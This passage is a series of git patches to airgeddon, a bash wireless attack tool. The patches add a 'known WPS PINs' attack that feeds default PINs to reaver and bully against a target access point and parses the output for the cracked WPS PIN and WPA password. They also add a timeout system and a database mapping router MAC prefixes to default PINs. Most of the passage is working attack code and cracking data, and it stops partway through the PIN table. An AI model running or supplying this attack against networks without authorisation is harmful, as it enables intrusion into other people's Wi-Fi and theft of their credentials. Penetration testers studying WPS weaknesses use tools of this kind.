language_strings "${language}" 389 "yellow" + fi +} + +#Integrate calculated pins from algorithms into pins array +function integrate_algorithms_pins() { + + some_calculated_pin_included=0 + for pin in "${calculated_pins[@]}"; do + this_pin_already_included=0 + for item in "${pins_found[@]}"; do + if [ "${item}" = "${pin}" ]; then + this_pin_already_included=1 + break + fi + done + + if [ ${this_pin_already_included} -eq 0 ]; then + pins_found+=(${pin}) + counter_pins_found=$((counter_pins_found + 1)) + some_calculated_pin_included=1 + fi + done + + if [ "${some_calculated_pin_included}" -eq 1 ]; then + return 0 + fi + return 1 +} + +#Include the code of the pin database file +function include_pin_dbfile() { + + dbfile_to_include="source \"${scriptfolder}${known_pins_dbfile}\"" + eval "${dbfile_to_include}" +} + +#Search for target wps bssid mac in pin database and set the vars to be used +function search_in_pin_database() { + + bssid_found_in_db=0 + counter_pins_found=0 + declare -g pins_found=() + for item in "${!PINDB[@]}"; do + if [ "${item}" = "${six_wpsbssid_first_digits_clean}" ]; then + bssid_found_in_db=1 + arrpins=(${PINDB[${item//[[:space:]]/ }]}) + for item2 in "${arrpins[@]}"; do + counter_pins_found=$((counter_pins_found+1)) + pins_found+=(${item2}) + done + break + fi + done +} + #Prepare monitor mode avoiding the use of airmon-ng or airmon-zc generating two interfaces from one function prepare_et_monitor() { @@ -4467,6 +4671,17 @@ function exec_wps_bruteforce_pin_reaver_attack() { xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "reaver -i ${interface} -b ${wps_bssid} -c ${wps_channel} -L -f -n -a -vvv && echo \"Close this window\"" > /dev/null 2>&1 } +#Execute wps pin database reaver attack +function exec_wps_pin_database_reaver_attack() { + + wps_pin_database_prerequisites + + set_wps_attack_script "reaver" "pindb" + + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS reaver known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + #Execute mdk3 deauth DoS attack function exec_mdk3deauth() { @@ -4692,8 +4907,8 @@ function wps_custom_pin_parameters() { return 0 } -#Validate wps pixie dust and bruteforce parameters -function wps_pixie_dust_and_bruteforce_parameters() { +#Validate wps parameters for pixie dust, bruteforce and pin database attacks +function wps_standard_attacks_parameters() { check_monitor_enabled if [ "$?" != "0" ]; then @@ -4980,6 +5195,8 @@ function clean_tmpfiles() { rm -rf "${dhcp_path}" > /dev/null 2>&1 fi rm -rf "${tmpdir}wps"* > /dev/null 2>&1 + rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 } #Clean firewall rules and restore orginal routing state @@ -5369,7 +5586,7 @@ function wps_attacks_menu() { echo language_strings "${language}" 368 "yellow" language_strings "${language}" 115 "read" - wps_pixie_dust_and_bruteforce_parameters + wps_standard_attacks_parameters if [ "$?" = "0" ]; then exec_bully_pixiewps_attack fi @@ -5391,7 +5608,7 @@ function wps_attacks_menu() { echo language_strings "${language}" 370 "yellow" language_strings "${language}" 115 "read" - wps_pixie_dust_and_bruteforce_parameters + wps_standard_attacks_parameters if [ "$?" = "0" ]; then exec_reaver_pixiewps_attack fi @@ -5409,7 +5626,7 @@ function wps_attacks_menu() { else get_bully_version set_bully_verbosity - wps_pixie_dust_and_bruteforce_parameters + wps_standard_attacks_parameters if [ "$?" = "0" ]; then exec_wps_bruteforce_pin_bully_attack fi @@ -5421,7 +5638,7 @@ function wps_attacks_menu() { forbidden_menu_option else get_reaver_version - wps_pixie_dust_and_bruteforce_parameters + wps_standard_attacks_parameters if [ "$?" = "0" ]; then exec_wps_bruteforce_pin_reaver_attack fi @@ -5459,7 +5676,10 @@ function wps_attacks_menu() { language_strings "${language}" 379 "blue" fi language_strings "${language}" 115 "read" - #TODO start validations and attack + wps_standard_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_pin_database_reaver_attack + fi fi ;; 13) @@ -6527,6 +6747,161 @@ function exec_et_deauth() { sleep 1 } +#Create here-doc bash script used for wps pin attacks +function set_wps_attack_script() { + + tmpfiles_toclean=1 + rm -rf "${tmpdir}${wps_attack_script_file}" > /dev/null 2>&1 + rm -rf "${tmpdir}${wps_out_file}" > /dev/null 2>&1 + + exec 7>"${tmpdir}${wps_attack_script_file}" + + wps_attack_tool="${1}" + wps_attack_mode="${2}" + if [ "${wps_attack_tool}" = "reaver" ]; then + + case ${wps_attack_mode} in + "pindb") + attack_cmd1="reaver -i \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -f -n -a -g 1 -d 2 -vvv -p " + ;; + #"custompin") + #TODO pending + #;; + #"pixiedust") + #TODO pending + #;; + #"bruteforce") + # #TODO pending + #;; + esac + #else + #TODO pending for bully + #case ${wps_attack_mode} in + #"pindb") + # #TODO pending + #;; + #"custompin") + #TODO pending + #;; + #"pixiedust") + #TODO pending + #;; + #"bruteforce") + # #TODO pending + #;; + #esac + fi + + attack_cmd2=" | tee \"${tmpdir}${wps_out_file}\"" + + cat >&7 <<-EOF + #!/bin/bash + script_wps_attack_tool="${wps_attack_tool}" + script_wps_attack_mode="${wps_attack_mode}" + attack_pin_counter=1 + EOF + + cat >&7 <<-'EOF' + if [ "${script_wps_attack_mode}" = "pindb" ]; then + EOF + + cat >&7 <<-EOF + script_pins_found=(${pins_found[@]}) + fi + + pin_header1="${white_color}Testing PIN " + pin_header2=" (${yellow_color}" + pin_header3="${white_color})${normal_color}" + script_interface="${interface}" + script_wps_bssid="${wps_bssid}" + script_wps_channel="${wps_channel}" + script_attack_cmd1="${attack_cmd1}" + script_attack_cmd2="${attack_cmd2}" + + #Parse the output file generated by the attack + function parse_output() { + + readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wps_out_file}" 2> /dev/null) + EOF + + cat >&7 <<-'EOF' + if [ "${script_wps_attack_tool}" = "reaver" ]; then + failed_attack_regexp="^\[!\][[:space:]]WPS[[:space:]]transaction[[:space:]]failed" + success_attack_badpin_regexp="^\[\-\][[:space:]]Failed[[:space:]]to[[:space:]]recover[[:space:]]WPA[[:space:]]key" + success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked" + pin_cracked_regexp="^\[\+\][[:space:]]WPS[[:space:]]PIN:[[:space:]]'([0-9]{8})'" + password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" + #else + #TODO pending regexp for bully + fi + + for item in "${LINES_TO_PARSE[@]}"; do + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${pin_cracked_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + continue + elif [[ ${item} =~ ${password_cracked_regexp} ]]; then + cracked_password="${BASH_REMATCH[1]}" + return 0 + fi + pin_cracked=1 + continue + elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then + return 2 + elif [[ ${item} =~ ${failed_attack_regexp} ]]; then + return 1 + fi + done + } + + pin_cracked=0 + if [ "${script_wps_attack_mode}" = "pindb" ]; then + for current_pin in "${script_pins_found[@]}"; do + clear + bad_attack_this_pin_counter=0 + echo + echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/${#script_pins_found[@]}${pin_header3}" + eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}" + attack_pin_counter=$((attack_pin_counter + 1)) + parse_output + if [ "$?" = "0" ]; then + break + elif [ "$?" = "1" ]; then + bad_attack_this_pin_counter=$((bad_attack_this_pin_counter + 1)) + if [ ${bad_attack_this_pin_counter} -eq 3 ]; then + continue + fi + fi + sleep 1.5 + done + #else + #TODO pending + fi + + if [ ${pin_cracked} -eq 1 ]; then + EOF + + cat >&7 <<-EOF + echo + pin_cracked_msg="${white_color}PIN cracked: " + password_cracked_msg="${white_color}Password cracked: " + EOF + + cat >&7 <<-'EOF' + echo -e "${pin_cracked_msg}${cracked_pin}" + echo -e "${password_cracked_msg}${cracked_password}" + fi + EOF + + cat >&7 <<-EOF + echo + echo -e "${white_color}Close this window" + EOF + + exec 7>&- + sleep 1 +} + #Create here-doc bash script used for control windows on Evil Twin attacks function set_control_script() { @@ -8033,6 +8408,31 @@ function set_wash_parametrization() { wash_ifaces_already_set[${interface}]=${fcs} } +#Manage and validate the prerequisites for wps pin database attacks +function wps_pin_database_prerequisites() { + + set_wps_mac_parameters + include_pin_dbfile + echo + language_strings "${language}" 384 "blue" + echo + search_in_pin_database + if [ ${bssid_found_in_db} -eq 1 ]; then + if [ ${counter_pins_found} -eq 1 ]; then + language_strings "${language}" 385 "yellow" + else + language_strings "${language}" 386 "yellow" + fi + else + language_strings "${language}" 387 "yellow" + fi + + check_and_set_common_algorithms + echo + language_strings "${language}" 366 "blue" + language_strings "${language}" 4 "read" +} + #Manage and validate the prerequisites for Evil Twin attacks function et_prerequisites() { @@ -9682,6 +10082,12 @@ function echo_brown() { last_echo "${1}" "${brown_color}" } +#Print white messages +function echo_white() { + + last_echo "${1}" "${white_color}" +} + trap capture_traps INT trap capture_traps SIGTSTP welcome diff --git a/changelog.txt b/changelog.txt index 2f3ad6ae2..d4e4e18c4 100644 --- a/changelog.txt +++ b/changelog.txt @@ -1,5 +1,7 @@ 5.1 Integrated online PIN database for "known WPS PINs attack" (reaver) +Zhao Chunsheng algorithm integrated (computepin) +Stefan Viehböck algorithm integrated (easybox) Some language strings changed 5.01 From 19337ebbde3b32b243e025c546cb6284c9b19f99 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sat, 3 Dec 2016 00:57:43 +0100 Subject: [PATCH 07/25] Pin timeout control system --- airgeddon.sh | 71 +++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 51 insertions(+), 20 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 8563e1d5f..8e274936b 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -115,6 +115,7 @@ pins_dbfile_checksum="pindb_checksum.txt" wps_default_generic_pin="12345670" wps_attack_script_file="ag.wpsattack.sh" wps_out_file="ag.wpsout.txt" +timeout_secs_per_pin="12" #Repository and contact vars github_user="v1s1t0r1sh3r3" @@ -6792,7 +6793,7 @@ function set_wps_attack_script() { #esac fi - attack_cmd2=" | tee \"${tmpdir}${wps_out_file}\"" + attack_cmd2=" | tee ${tmpdir}${wps_out_file}" cat >&7 <<-EOF #!/bin/bash @@ -6815,7 +6816,7 @@ function set_wps_attack_script() { script_interface="${interface}" script_wps_bssid="${wps_bssid}" script_wps_channel="${wps_channel}" - script_attack_cmd1="${attack_cmd1}" + script_attack_cmd1="timeout ${timeout_secs_per_pin} ${attack_cmd1}" script_attack_cmd2="${attack_cmd2}" #Parse the output file generated by the attack @@ -6835,40 +6836,66 @@ function set_wps_attack_script() { #TODO pending regexp for bully fi - for item in "${LINES_TO_PARSE[@]}"; do - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then - if [[ ${item} =~ ${pin_cracked_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" - continue - elif [[ ${item} =~ ${password_cracked_regexp} ]]; then - cracked_password="${BASH_REMATCH[1]}" - return 0 - fi - pin_cracked=1 + for item in "${LINES_TO_PARSE[@]}"; do + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${pin_cracked_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" continue - elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then - return 2 - elif [[ ${item} =~ ${failed_attack_regexp} ]]; then - return 1 + elif [[ ${item} =~ ${password_cracked_regexp} ]]; then + cracked_password="${BASH_REMATCH[1]}" + return 0 fi - done + pin_cracked=1 + continue + elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then + return 2 + elif [[ ${item} =~ ${failed_attack_regexp} ]]; then + return 1 + fi + done + return 1 + } + EOF + + cat >&7 <<-EOF + #Prints message for pins on timeout + function print_pin_timeout() { + + echo + timeout_msg="${white_color}Timeout for last PIN" + EOF + + cat >&7 <<-'EOF' + echo -e "${timeout_msg}" } pin_cracked=0 if [ "${script_wps_attack_mode}" = "pindb" ]; then + this_pin_timeout=0 for current_pin in "${script_pins_found[@]}"; do clear bad_attack_this_pin_counter=0 + if [ "${this_pin_timeout}" -eq 1 ]; then + print_pin_timeout + fi echo echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/${#script_pins_found[@]}${pin_header3}" - eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}" + this_pin_timeout=0 + (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") + if [ "$?" = "124" ]; then + this_pin_timeout=1 + fi attack_pin_counter=$((attack_pin_counter + 1)) parse_output if [ "$?" = "0" ]; then break - elif [ "$?" = "1" ]; then + elif [[ "$?" = "1" ]] || [[ "${this_pin_timeout}" -eq 1 ]]; then + if [ "${this_pin_timeout}" -eq 1 ]; then + continue + fi bad_attack_this_pin_counter=$((bad_attack_this_pin_counter + 1)) if [ ${bad_attack_this_pin_counter} -eq 3 ]; then + this_pin_timeout=1 continue fi fi @@ -6891,9 +6918,13 @@ function set_wps_attack_script() { echo -e "${pin_cracked_msg}${cracked_pin}" echo -e "${password_cracked_msg}${cracked_password}" fi - EOF + if [ "${this_pin_timeout}" -eq 1 ]; then + EOF cat >&7 <<-EOF + print_pin_timeout + fi + echo echo -e "${white_color}Close this window" EOF From 5fc1ab750dcbd15d74bca04297bc376b3d00dc0b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 6 Dec 2016 02:35:11 +0100 Subject: [PATCH 08/25] Finished pin database attacks --- airgeddon.sh | 139 ++++++++++++++++++++++++++++++++++++++++----------- 1 file changed, 110 insertions(+), 29 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 8e274936b..fcdf6aca4 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -4672,6 +4672,17 @@ function exec_wps_bruteforce_pin_reaver_attack() { xterm -hold -bg black -fg red -geometry "${g2_stdleft_window}" -T "WPS bruteforce pin reaver attack" -e "reaver -i ${interface} -b ${wps_bssid} -c ${wps_channel} -L -f -n -a -vvv && echo \"Close this window\"" > /dev/null 2>&1 } +#Execute wps pin database bully attack +function exec_wps_pin_database_bully_attack() { + + wps_pin_database_prerequisites + + set_wps_attack_script "bully" "pindb" + + recalculate_windows_sizes + xterm -hold -bg black -fg red -geometry "${g2_stdright_window}" -T "WPS bully known pins database based attack" -e "bash \"${tmpdir}${wps_attack_script_file}\"" > /dev/null 2>&1 +} + #Execute wps pin database reaver attack function exec_wps_pin_database_reaver_attack() { @@ -5525,7 +5536,7 @@ function wps_attacks_menu() { language_strings "${language}" 358 reaver_pixie_dust_attack_dependencies[@] language_strings "${language}" 347 bully_attacks_dependencies[@] language_strings "${language}" 359 reaver_attacks_dependencies[@] - language_strings "${language}" 348 "under_construction" #bully_attacks_dependencies[@] + language_strings "${language}" 348 bully_attacks_dependencies[@] language_strings "${language}" 360 reaver_attacks_dependencies[@] print_simple_separator language_strings "${language}" 361 @@ -5650,7 +5661,30 @@ function wps_attacks_menu() { if [ "$?" = "0" ]; then forbidden_menu_option else - under_construction_message + get_bully_version + set_bully_verbosity + if [ -z "${scriptfolder}" ]; then + set_script_folder + fi + + if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then + check_pins_database_file + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 373 "blue" + else + echo + language_strings "${language}" 372 "yellow" + fi + else + echo + language_strings "${language}" 379 "blue" + fi + language_strings "${language}" 115 "read" + wps_standard_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_pin_database_bully_attack + fi fi ;; 12) @@ -6775,12 +6809,11 @@ function set_wps_attack_script() { # #TODO pending #;; esac - #else - #TODO pending for bully - #case ${wps_attack_mode} in - #"pindb") - # #TODO pending - #;; + else + case ${wps_attack_mode} in + "pindb") + attack_cmd1="bully \${script_interface} -b \${script_wps_bssid} -c \${script_wps_channel} -L -F -B -v ${bully_verbosity} -p " + ;; #"custompin") #TODO pending #;; @@ -6790,7 +6823,7 @@ function set_wps_attack_script() { #"bruteforce") # #TODO pending #;; - #esac + esac fi attack_cmd2=" | tee ${tmpdir}${wps_out_file}" @@ -6832,28 +6865,57 @@ function set_wps_attack_script() { success_attack_goodpin_regexp="^\[\+\][[:space:]]Pin[[:space:]]cracked" pin_cracked_regexp="^\[\+\][[:space:]]WPS[[:space:]]PIN:[[:space:]]'([0-9]{8})'" password_cracked_regexp="^\[\+\][[:space:]]WPA[[:space:]]PSK:[[:space:]]'(.*)'" - #else - #TODO pending regexp for bully + else + failed_attack_regexp="^\[\+\][[:space:]].*'WPSFail'" + success_attack_badpin_regexp="^\[\+\][[:space:]].*'Pin[0-9][0-9]?Bad'" + success_attack_goodpin_regexp="^\[\*\][[:space:]]Pin[[:space:]]is[[:space:]]'([0-9]{8})',[[:space:]]key[[:space:]]is[[:space:]]'(.*)'" fi for item in "${LINES_TO_PARSE[@]}"; do - if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then - if [[ ${item} =~ ${pin_cracked_regexp} ]]; then - cracked_pin="${BASH_REMATCH[1]}" + if [ "${script_wps_attack_tool}" = "reaver" ]; then + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]] || [[ ${pin_cracked} -eq 1 ]]; then + if [[ ${item} =~ ${pin_cracked_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + continue + elif [[ ${item} =~ ${password_cracked_regexp} ]]; then + cracked_password="${BASH_REMATCH[1]}" + return 0 + fi + pin_cracked=1 continue - elif [[ ${item} =~ ${password_cracked_regexp} ]]; then - cracked_password="${BASH_REMATCH[1]}" + elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then + return 2 + elif [[ ${item} =~ ${failed_attack_regexp} ]]; then + return 1 + fi + else + if [[ ${item} =~ ${success_attack_goodpin_regexp} ]]; then + cracked_pin="${BASH_REMATCH[1]}" + cracked_password="${BASH_REMATCH[2]}" + pin_cracked=1 return 0 + elif [[ ${item} =~ ${failed_attack_regexp} ]]; then + return 1 + elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then + return 2 fi - pin_cracked=1 - continue - elif [[ ${item} =~ ${success_attack_badpin_regexp} ]]; then - return 2 - elif [[ ${item} =~ ${failed_attack_regexp} ]]; then - return 1 fi done - return 1 + return 3 + } + EOF + + cat >&7 <<-EOF + + #Prints message for waiting output + function print_waiting_output() { + + echo + waiting_msg="${white_color}Waiting output, be patient...${normal_color}" + EOF + + cat >&7 <<-'EOF' + echo -e "${waiting_msg}" } EOF @@ -6862,7 +6924,7 @@ function set_wps_attack_script() { function print_pin_timeout() { echo - timeout_msg="${white_color}Timeout for last PIN" + timeout_msg="${white_color}Timeout for last PIN${normal_color}" EOF cat >&7 <<-'EOF' @@ -6873,7 +6935,10 @@ function set_wps_attack_script() { if [ "${script_wps_attack_mode}" = "pindb" ]; then this_pin_timeout=0 for current_pin in "${script_pins_found[@]}"; do - clear + possible_bully_timeout=0 + if [ ${attack_pin_counter} -ne 1 ]; then + sleep 1.5 + fi bad_attack_this_pin_counter=0 if [ "${this_pin_timeout}" -eq 1 ]; then print_pin_timeout @@ -6881,15 +6946,28 @@ function set_wps_attack_script() { echo echo -e "${pin_header1}${current_pin}${pin_header2}${attack_pin_counter}/${#script_pins_found[@]}${pin_header3}" this_pin_timeout=0 + if [ "${script_wps_attack_tool}" = "bully" ]; then + print_waiting_output + fi (set -o pipefail && eval "${script_attack_cmd1}${current_pin}${script_attack_cmd2}") if [ "$?" = "124" ]; then - this_pin_timeout=1 + if [ "${script_wps_attack_tool}" = "reaver" ]; then + this_pin_timeout=1 + else + possible_bully_timeout=1 + fi fi attack_pin_counter=$((attack_pin_counter + 1)) parse_output - if [ "$?" = "0" ]; then + output="$?" + if [ "${output}" = "0" ]; then break - elif [[ "$?" = "1" ]] || [[ "${this_pin_timeout}" -eq 1 ]]; then + elif [ "${output}" = "1" ]; then + this_pin_timeout=1 + continue + elif [ "${output}" = "2" ]; then + continue + elif [[ "${output}" = "3" ]] || [[ "${this_pin_timeout}" -eq 1 ]] || [[ ${possible_bully_timeout} -eq 1 ]]; then if [ "${this_pin_timeout}" -eq 1 ]; then continue fi @@ -6898,8 +6976,11 @@ function set_wps_attack_script() { this_pin_timeout=1 continue fi + if [ ${possible_bully_timeout} -eq 1 ]; then + this_pin_timeout=1 + continue + fi fi - sleep 1.5 done #else #TODO pending From 17bf98789367d9c51cebdf31efb15e9b126d9763 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 6 Dec 2016 02:43:38 +0100 Subject: [PATCH 09/25] Added pin database file and checksum file --- airgeddon.sh | 8 +- changelog.txt | 2 +- known_pins.db | 212 +++++++++++++++++++++++++++++++++++++++++++++ pindb_checksum.txt | 1 + 4 files changed, 218 insertions(+), 5 deletions(-) create mode 100644 known_pins.db create mode 100644 pindb_checksum.txt diff --git a/airgeddon.sh b/airgeddon.sh index fcdf6aca4..1d0f0d604 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -9245,8 +9245,8 @@ function check_pins_database_file() { #Download the pins database file function download_pins_database_file() { - #TODO put final url after testing - remote_pindb_file=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/test/master/known_pins.db 2> /dev/null) + #TODO change url before pull requests + remote_pindb_file=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/known_pins.db 2> /dev/null) #remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null) if [ "${remote_pindb_file}" != "${curl_404_error}" ]; then @@ -9275,8 +9275,8 @@ function get_local_pin_dbfile_checksum() { #Get the checksum for remote pin database file function get_remote_pin_dbfile_checksum() { - #TODO put final url after testing - remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/test/master/pindb_checksum.txt 2> /dev/null) + #TODO change url before pull requests + remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L https://raw.githubusercontent.com/v1s1t0r1sh3r3/airgeddon/WPS/pindb_checksum.txt 2> /dev/null) #remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null) if [ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]; then diff --git a/changelog.txt b/changelog.txt index d4e4e18c4..c61a1c254 100644 --- a/changelog.txt +++ b/changelog.txt @@ -1,5 +1,5 @@ 5.1 -Integrated online PIN database for "known WPS PINs attack" (reaver) +Integrated online PIN database for "known WPS PINs attack" (reaver and bully) Zhao Chunsheng algorithm integrated (computepin) Stefan Viehböck algorithm integrated (easybox) Some language strings changed diff --git a/known_pins.db b/known_pins.db new file mode 100644 index 000000000..fa26e8384 --- /dev/null +++ b/known_pins.db @@ -0,0 +1,212 @@ +#!/bin/bash + +#Set PIN database. Keys are the first 6 bssid digits and are ordered +function set_pin_database() { + + declare -gA PINDB + + PINDB["000138"]="35606543" + PINDB["0004ED"]="29985685 19951683" + PINDB["0005CA"]="73851738 76916144" + PINDB["000726"]="18625790" + PINDB["0008A1"]="58764015" + PINDB["000A52"]="22498403" + PINDB["000B3B"]="40053707" + PINDB["000B85"]="70066647" + PINDB["000CC3"]="47392717 12345670" + PINDB["000CF1"]="30447028" + PINDB["001122"]="12345678" + PINDB["0014D1"]="26848185" + PINDB["001802"]="16546615" + PINDB["0018E7"]="15537782" + PINDB["001915"]="12345670 63396638" + PINDB["001918"]="12345670" + PINDB["001970"]="12345670" + PINDB["001A2B"]="15624697 16495265 88478760 77775078" + PINDB["001B11"]="84794079" + PINDB["001D19"]="66026402 12345670" + PINDB["001D73"]="88420707" + PINDB["001D7E"]="66026402" + PINDB["001DCE"]="85560130" + PINDB["001DCF"]="12345670" + PINDB["001DD1"]="37272937" + PINDB["001DD2"]="58542132 14550126 49143836" + PINDB["001E2A"]="12345670" + PINDB["001F9F"]="59762454 74673841 83712630" + PINDB["001FA4"]="12345670" + PINDB["001FCE"]="14169809" + PINDB["002129"]="22310298 00717625 00009980 64103747 95891705 64637129" + PINDB["002191"]="28423737 82744458" + PINDB["00223F"]="48247818" + PINDB["00226B"]="59900887" + PINDB["002275"]="12885381 25751118 14989346 53704825 34922453 29221790" + PINDB["0022F7"]="60530004 25853209" + PINDB["002369"]="51348014" + PINDB["0023CD"]="54080812" + PINDB["002401"]="97744757 10987957 91866882 78671294" + PINDB["002417"]="31011193" + PINDB["00248C"]="34693841" + PINDB["0024A5"]="11248729" + PINDB["0024B2"]="89425671 38686191" + PINDB["00259C"]="78091597 19805672" + PINDB["002618"]="12345670" + PINDB["002624"]="95374611 78202962" + PINDB["002644"]="49780871 78202962" + PINDB["00265A"]="79594295 03888070 36290512 76971464 17245685 96119433 12157259" + PINDB["00265B"]="28390046 15488107 36277216 91514257" + PINDB["0026CE"]="61203402" + PINDB["0026E8"]="15483607" + PINDB["0026F2"]="32312966 64426679" + PINDB["003872"]="18836486" + PINDB["00487A"]="15471628" + PINDB["004F62"]="21207136" + PINDB["004F67"]="13648947" + PINDB["006064"]="13948696 71876160 17002318" + PINDB["008EF2"]="74956203 50791810" + PINDB["00904C"]="39246189" + PINDB["00908F"]="38384127 38322921 42390480" + PINDB["00A026"]="81349487 84385727 82244521 83368929 84302403" + PINDB["00B00C"]="49693928" + PINDB["00B6B7"]="10157268" + PINDB["00BEF2"]="28752455" + PINDB["00D041"]="79679190" + PINDB["00F1CE"]="14169809" + PINDB["04C06F"]="08182173" + PINDB["081074"]="20956455" + PINDB["081076"]="63458374" + PINDB["0876FF"]="79412988" + PINDB["08863B"]="14129162 34968611 87279320 36323364 08112118 83469909 14159114" + PINDB["10BF48"]="04032052" + PINDB["14A9E3"]="00288729 03617984" + PINDB["14D64D"]="44686871 59185239 46020383 20700737 64535203" + PINDB["14D6D4"]="31008167" + PINDB["1915C1"]="12345670" + PINDB["1A0B40"]="17068161" + PINDB["1C7EE5"]="76229909 37967635 92433960 22609298 60418579" + PINDB["1CAFF7"]="48612661" + PINDB["1CBDB9"]="70313376 55349758" + PINDB["202BC1"]="19303594" + PINDB["204E7F"]="45197079" + PINDB["20AA4B"]="54789609 32275841 96716977" + PINDB["20CF30"]="77898951" + PINDB["20F3A3"]="25905892" + PINDB["224E7F"]="15584953" + PINDB["28107B"]="46264848 20172527" + PINDB["285FDB"]="08007117" + PINDB["2CB05D"]="27257210 52231858 11534624 72522233 19537511 42375852 70092523 17054850 87205732 11239208 74155279 87221541 92085251 52718380 46218230 09820852 23950313 07753695 42375852 75863869 12090006 37523077 06686635" + PINDB["3039F2"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708 11967859 12820078" + PINDB["30469A"]="27334959 37489014 37496081 37494650 37490034 40184708 40166148 19482417 30592407 30176683 95221021 27016497 33102320 21703003" + PINDB["340804"]="36022656 93395274" + PINDB["34080F"]="56364675" + PINDB["386077"]="12345670 94380507" + PINDB["3872C0"]="15624697 12345678 18811728 20172527 18836486 12345678" + PINDB["404A03"]="78159952 11866428 79205177" + PINDB["4C17EB"]="43944552 12345670" + PINDB["4C60DE"]="01322934 42473534 22958143 53550866" + PINDB["50465D"]="83010910 46540010 21101021" + PINDB["5067F0"]="20064525 66026402 12608065 12204786" + PINDB["546EFC"]="02917092" + PINDB["54E6FC"]="53525659 66394662 41942826 93464239 96517062" + PINDB["586D8F"]="47158382 69382161 67387953 37110802" + PINDB["589835"]="36232925 78568242 56217391 13128562 53890894" + PINDB["5C338E"]="00764025 03015162 04581277 11765592 15986511 30414129 30999022 33685984 39657053 53842763 60387400 73968597 78614062 78963641 82848439 85776104 91345080 12345670" + PINDB["5C353B"]="64874487" + PINDB["5CD998"]="11554424 67554409" + PINDB["626BD3"]="25415001" + PINDB["62A8E4"]="51194529 34160923 32473841" + PINDB["62C06F"]="34585849 36691524 33405049" + PINDB["62C714"]="32184129" + PINDB["647002"]="76627705" + PINDB["687F74"]="42901174 68623227" + PINDB["68B6FC"]="82380243" + PINDB["68C06F"]="41719565 41873281" + PINDB["6A6BD3"]="70481921" + PINDB["6A7D5E"]="74399000" + PINDB["6AA8E4"]="51016128 51011727" + PINDB["6AC06F"]="44574886 36433124 36715725 34052648" + PINDB["6AC714"]="32179323 32060003" + PINDB["6AID67"]="04161608" + PINDB["72233D"]="36228645" + PINDB["723DFF"]="50540686" + PINDB["72559C"]="00287203 08075963" + PINDB["72A8E4"]="31763523 51319045 51728649" + PINDB["72AC67"]="67943432" + PINDB["72E370"]="75293284" + PINDB["744401"]="00446747 10052648 27615126 31547208 45226823 03132692 12345670 11250562 87293593 04300106 59451595 14043123" + PINDB["74888B"]="16538061 16702738 18355604 43297917 73767053 88202907 43297917 73767053 88202907 16702738 19756967 13409708" + PINDB["74EA3A"]="37211202 22512864 25877274 36189946 05788940 15513526" + PINDB["7A53D4"]="41092606" + PINDB["7B4877"]="25142457" + PINDB["7C034C"]="43944552 12345670" + PINDB["7C4FB5"]="75332662 51394554 35642596 72688656 13245670" + PINDB["7CD34C"]="43944552 12345670" + PINDB["801F02"]="12345670 26713366" + PINDB["80B686"]="38484636" + PINDB["841B5E"]="78100053 21120374 48062435 06042547" + PINDB["84C9B2"]="84257123 12345670 27786598" + PINDB["88252C"]="35642596 03526859" + PINDB["8C0CA3"]="40371211 82079541 71259987 15750143 19236833 21942103 16630230 27429498 